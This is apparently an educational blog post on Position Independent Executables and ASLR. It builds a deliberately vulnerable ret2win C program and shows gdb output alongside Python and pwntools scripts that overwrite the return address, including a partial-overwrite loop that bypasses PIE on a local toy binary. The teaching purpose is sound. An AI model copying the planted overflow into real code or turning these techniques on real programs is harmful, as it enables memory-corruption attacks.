Position Independent Code (PIC) is code that can be loaded at any memory address without modification. Typically, shared libraries are compiled as PIC code so they can be loaded at any base memory address without modification.
This has a couple of benefits; address space collisions don’t occur. I.e two shared libraries won’t have an overlapping virtual address space. In addition, PIC code can benefit from Address Space Layout Randomisation (ASLR) to assist in preventing Return Orientated Programming (ROP) attacks.
A Position Independent Executable (PIE) is a standard executable file (rather than shared library) that can be loaded at any memory address without modification. It is just another form of position independent code.
To demonstrate the effect of PIE on an executable, let’s start with a ret2win challenge. The code is suseptible to a trivial buffer overflow vulnerability. Our objective is to call the auth_success function by overwriting the check_password functions return address.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> void auth_failure() { puts ( "Authentication failed" ); } void auth_success() { puts ( "Authentication succeeded" ); } void check_password() { char password[32]; unsigned long size = 100; puts ( "Password:" ); read(0, &password, (unsigned long ) size); if ( strcmp (password, "SuperSecret\n" ) == 0) { auth_success(); } else { auth_failure(); } } int main( int argc, char **argv) { check_password(); return 0; } |
Compile the code without PIE using the following command.
1 | gcc vulnerable.c -o vuln -fno-stack-protector -no-pie |
Executing the program using gdb, we can see the auth_success function has the address 0x40115c.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | (gdb) disassemble check_password Dump of assembler code for function check_password: 0x0000000000401172 <+0>: push %rbp 0x0000000000401173 <+1>: mov %rsp,%rbp 0x0000000000401176 <+4>: sub $0x30,%rsp 0x000000000040117a <+8>: movq $0x64,-0x8(%rbp) 0x0000000000401182 <+16>: lea 0xeaa(%rip),%rax # 0x402033 0x0000000000401189 <+23>: mov %rax,%rdi 0x000000000040118c <+26>: call 0x401030 <puts@plt> 0x0000000000401191 <+31>: mov -0x8(%rbp),%rdx 0x0000000000401195 <+35>: lea -0x30(%rbp),%rax 0x0000000000401199 <+39>: mov %rax,%rsi 0x000000000040119c <+42>: mov $0x0,%edi 0x00000000004011a1 <+47>: call 0x401040 <read@plt> 0x00000000004011a6 <+52>: lea -0x30(%rbp),%rax 0x00000000004011aa <+56>: lea 0xe8c(%rip),%rdx # 0x40203d 0x00000000004011b1 <+63>: mov %rdx,%rsi 0x00000000004011b4 <+66>: mov %rax,%rdi 0x00000000004011b7 <+69>: call 0x401050 <strcmp@plt> 0x00000000004011bc <+74>: test %eax,%eax 0x00000000004011be <+76>: jne 0x4011cc <check_password+90> 0x00000000004011c0 <+78>: mov $0x0,%eax 0x00000000004011c5 <+83>: call 0x40115c <auth_success> 0x00000000004011ca <+88>: jmp 0x4011d6 <check_password+100> 0x00000000004011cc <+90>: mov $0x0,%eax 0x00000000004011d1 <+95>: call 0x401146 <auth_failure> 0x00000000004011d6 <+100>: nop 0x00000000004011d7 <+101>: leave 0x00000000004011d8 <+102>: ret |
Restarting the program several times, we can see the address is always 0x40115c.
1 2 | (gdb) p auth_success $3 = {<text variable, no debug info>} 0x40115c <auth_success> |
Since our code is vulnerable to a buffer overflow, we can overwrite the return address with a value of our choosing, such as the auth_success function address.
1 2 3 4 5 6 7 8 | binary_data = b'' binary_data + = b 'A' * 56 binary_data + = b "\x5c\x11\x40" #0x40115c with open ( 'output.bin' , 'wb' ) as f: f.write(binary_data) print ( "Binary data written to 'output.bin'" ) |
Running the code, we can see authentication initially fails due to our entered string not matching the required value, but then the auth_success is executed when returning from the check_password function.
1 2 3 4 5 6 7 8 9 | ┌──(kali㉿kali)-[~] └─$ python3 exploit.py Binary data written to 'output.bin' ┌──(kali㉿kali)-[~] └─$ cat output.bin| . /vuln Password: Authentication failed Authentication succeeded |
Enabling PIE
Let’s recompile our code, but this time enable PIE.
1 | gcc vulnerable.c -o vuln -fno-stack-protector -pie |
We can use checksec to verify that PIE is enabled on this executable.
1 2 3 | checksec -- file =. /vuln RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 41 Symbols No 0 1 . /vuln |
On running the application in gdb, we can see the address of auth_success has changed but remains the same on each application restart.
1 2 3 4 5 6 | (gdb) p auth_success $1 = {<text variable, no debug info>} 0x55555555516f <auth_success> (gdb) p auth_success $1 = {<text variable, no debug info>} 0x55555555516f <auth_success> (gdb) p auth_success $1 = {<text variable, no debug info>} 0x55555555516f <auth_success> |
This is because gdb disables ASLR in debugging sessions. We can re-enable it using;
1 2 3 | (gdb) set disable-randomization off (gdb) show disable-randomization Disabling randomization of debuggee's virtual address space is off. |
We can now see the PIE executable addresses are being randomised by ASLR.
1 2 3 4 5 6 | (gdb) p auth_success $1 = {<text variable, no debug info>} 0x55570fa1a16f <auth_success> (gdb) p auth_success $1 = {<text variable, no debug info>} 0x564ea188a16f <auth_success> (gdb) p auth_success $1 = {<text variable, no debug info>} 0x55fad605116f <auth_success> |
However, we can observe that the least significant bytes in the address stay the same (0x16f). Little endian CPU’s including the Intel x64 systems use reverse byte ordering. As such, if we partially overwrite the instruction pointer (RIP) this will only overwrite the least significant bytes at the end of the string leaving the randomised bytes as they are.
We still have a slight amount of randomisation in terms of the value preceeding 0x16f, but we can set that the 0x1 and attempt authentication multiple times. This is demonstrated in the below code, where we perform a partial pointer overwrite attack.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | #!/usr/bin/python from struct import * from pwn import * binary_data = b'' binary_data + = b 'A' * 56 binary_data + = b "\x6f\x11" for x in range ( 50 ): try : elf = ELF( './vuln' ) p = process( "./vuln" ) payload = binary_data p.recvuntil(b 'Password:\n' ) p.send(payload) p.recvline() response = p.recvline() if "succeeded" in str (response): print ( "SUCCESS" ) print ( str (response)) break except : pass |
Running it shows in this instance it took 4 attempts before the correct address was identified.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | python3 pie_exploit.py [*] '/home/kali/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No [+] Starting local process './vuln' : pid 4162 [+] Starting local process './vuln' : pid 4164 [+] Starting local process './vuln' : pid 4166 [+] Starting local process './vuln' : pid 4168 SUCCESS b 'Authentication succeeded\n' [*] Stopped process './vuln' (pid 4168) [*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 4166) [*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 4164) [*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 4162) |
If overwriting the stack pointer in this manner isn’t viable, you would need a method of leaking valid stack addresses via another vulnerability such as format string exploitation.
Why are the addresses not fully randomised?
The base address of a PIE executable will always end in 0x1000, since the address needs to be aligned to a page boundary. By default, this is 0x1000 (4096 in decimal). The getconf command will show the default page size on your system.
1 2 | getconf PAGESIZE 4096 |
The info proc mappings command in gdb will also confirm this behavior.
1 2 3 4 5 6 7 8 9 10 | (gdb) info proc mappings process 26826 Mapped address spaces: Start Addr End Addr Size Offset Perms objfile 0x555555554000 0x555555555000 0x1000 0x0 r--p /home/kali/vuln 0x555555555000 0x555555556000 0x1000 0x1000 r-xp /home/kali/vuln 0x555555556000 0x555555557000 0x1000 0x2000 r--p /home/kali/vuln 0x555555557000 0x555555558000 0x1000 0x2000 r--p /home/kali/vuln 0x555555558000 0x555555559000 0x1000 0x3000 rw-p /home/kali/vuln |
In Conclusion
PIE does have a performance impact, although this is fairly negligible on modern systems. As such, a number of Linux distributions have started enabling it by default.
The main benefit of PIE is that it allows for Address Space Layout Randomization (ASLR), which makes it harder for attackers to exploit known memory vulnerabilities. By randomizing the memory layout, attackers can’t predict where functions, buffers, or other data reside.